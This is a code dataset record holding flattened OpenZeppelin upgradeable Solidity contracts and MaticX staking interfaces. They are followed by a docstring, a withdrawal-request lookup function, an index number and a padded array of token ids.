call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; interface IValidatorShare { struct DelegatorUnbond { uint256 shares; uint256 withdrawEpoch; } function minAmount() external view returns (uint256); function unbondNonces(address _address) external view returns (uint256); function validatorId() external view returns (uint256); function delegation() external view returns (bool); function buyVoucher(uint256 _amount, uint256 _minSharesToMint) external returns (uint256); function sellVoucher_new(uint256 claimAmount, uint256 maximumSharesToBurn) external; function unstakeClaimTokens_new(uint256 unbondNonce) external; function restake() external returns (uint256, uint256); function withdrawRewards() external; function getTotalStake(address user) external view returns (uint256, uint256); function unbonds_new(address _address, uint256 _unbondNonce) external view returns (DelegatorUnbond memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; /// @title IValidatorRegistry /// @notice Node validator registry interface interface IValidatorRegistry { /// @notice Allows to remove a validator from the registry. /// @param _validatorId validator id. function removeValidator(uint256 _validatorId) external; /// @notice Allows a staked validator to join the registry. /// @param _validatorId validator id. function addValidator(uint256 _validatorId) external; /// @notice Allows to set the preferred validator id. /// @param _validatorId validator id. function setPreferredValidatorId(uint256 _validatorId) external; /// @notice Allows to pause/unpause the validatorRegistry contract. function togglePause() external; /// @notice Allows the DAO to set maticX contract. function setMaticX(address _maticX) external; /// @notice Allows to set contract version. function setVersion(string memory _version) external; /// @notice Get the maticX contract addresses function getContracts() external view returns ( address _stakeManager, address _polygonERC20, address _maticX ); /// @notice Allows to get all the validators. function getValidators() external view returns (uint256[] memory); /// @notice Allows to get validator id by its index function getValidatorId(uint256 _index) external view returns (uint256); /// @notice Allows to get the preferred validator id. function getPreferredValidatorId() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; /// @title polygon stake manager interface. /// @notice User to interact with the polygon stake manager. interface IStakeManager { /// @notice Request unstake a validator. /// @param validatorId validator id. function unstake(uint256 validatorId) external; /// @notice Get the validator id using the user address. /// @param user user that own the validator in our case the validator contract. /// @return return the validator id function getValidatorId(address user) external view returns (uint256); /// @notice get the validator contract used for delegation. /// @param validatorId validator id. /// @return return the address of the validator contract. function getValidatorContract(uint256 validatorId) external view returns (address); /// @notice Withdraw accumulated rewards /// @param validatorId validator id. function withdrawRewards(uint256 validatorId) external; /// @notice Get validator total staked. /// @param validatorId validator id. function validatorStake(uint256 validatorId) external view returns (uint256); /// @notice Allows to unstake the staked tokens on the stakeManager. /// @param validatorId validator id. function unstakeClaim(uint256 validatorId) external; /// @notice Returns a withdrawal delay. function withdrawalDelay() external view returns (uint256); /// @notice Transfers amount from delegator function delegationDeposit( uint256 validatorId, uint256 amount, address delegator ) external returns (bool); function epoch() external view returns (uint256); enum Status { Inactive, Active, Locked, Unstaked } struct Validator { uint256 amount; uint256 reward; uint256 activationEpoch; uint256 deactivationEpoch; uint256 jailTime; address signer; address contractAddress; Status status; uint256 commissionRate; uint256 lastCommissionUpdate; uint256 delegatorsReward; uint256 delegatedAmount; uint256 initialRewardPerStake; } function validators(uint256 _index) external view returns (Validator memory); // TODO: Remove it and use stakeFor instead function createValidator(uint256 _validatorId) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./IValidatorShare.sol"; import "./IValidatorRegistry.sol"; /// @title MaticX interface. interface IMaticX is IERC20Upgradeable { struct WithdrawalRequest { uint256 validatorNonce; uint256 requestEpoch; address validatorAddress; } struct FeeDistribution { uint8 treasury; uint8 insurance; } function validatorRegistry() external returns (IValidatorRegistry); function entityFees() external returns ( uint8, uint8 ); function version() external view returns (string memory); function insurance() external view returns (address); function token() external view returns (address); function initialize( address _validatorRegistry, address _stakeManager, address _token, address _manager, address _treasury, address _insurance ) external; function submit(uint256 _amount) external returns (uint256); function requestWithdraw(uint256 _amount) external; function claimWithdrawal(uint256 _idx) external; function restake(uint256 _validatorId) external; function restakeAll() external; function getUserWithdrawalRequests(address _address) external view returns (WithdrawalRequest[] memory); function getMaticAmountOfUserWithdrawalRequest(address _address, uint256 _idx) external view returns (uint256); function togglePause() external; function getTotalStake(IValidatorShare _validatorShare) external view returns (uint256, uint256); function getTotalStakeAcrossAllValidators() external view returns (uint256); function getTotalPooledMatic() external view returns (uint256); function convertMaticXToMatic(uint256 _balance) external view returns ( uint256, uint256, uint256 ); function convertMaticToMaticX(uint256 _balance) external view returns ( uint256, uint256, uint256 ); function setFees( uint8 _treasuryFee, uint8 _insuranceFee ) external; function setInsuranceAddress(address _address) external; function setValidatorRegistryAddress(address _address) external; function setVersion(string calldata _version) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Retrieves MATIC amount of a given withdrawal request @param _address - Address of an user @return _idx index of the withdrawal request/
function getMaticAmountOfUserWithdrawalRequest(address _address, uint256 _idx) external override view returns (uint256) { WithdrawalRequest memory userRequest = userWithdrawalRequests[_address][_idx]; IValidatorShare validatorShare = IValidatorShare(userRequest.validatorAddress); IValidatorShare.DelegatorUnbond memory unbond = validatorShare.unbonds_new(address(this), userRequest.validatorNonce); return unbond.shares; }
7,021,356
[ 1, 6960, 490, 11781, 3844, 434, 279, 864, 598, 9446, 287, 590, 225, 389, 2867, 300, 5267, 434, 392, 729, 327, 389, 3465, 770, 434, 326, 598, 9446, 287, 590, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
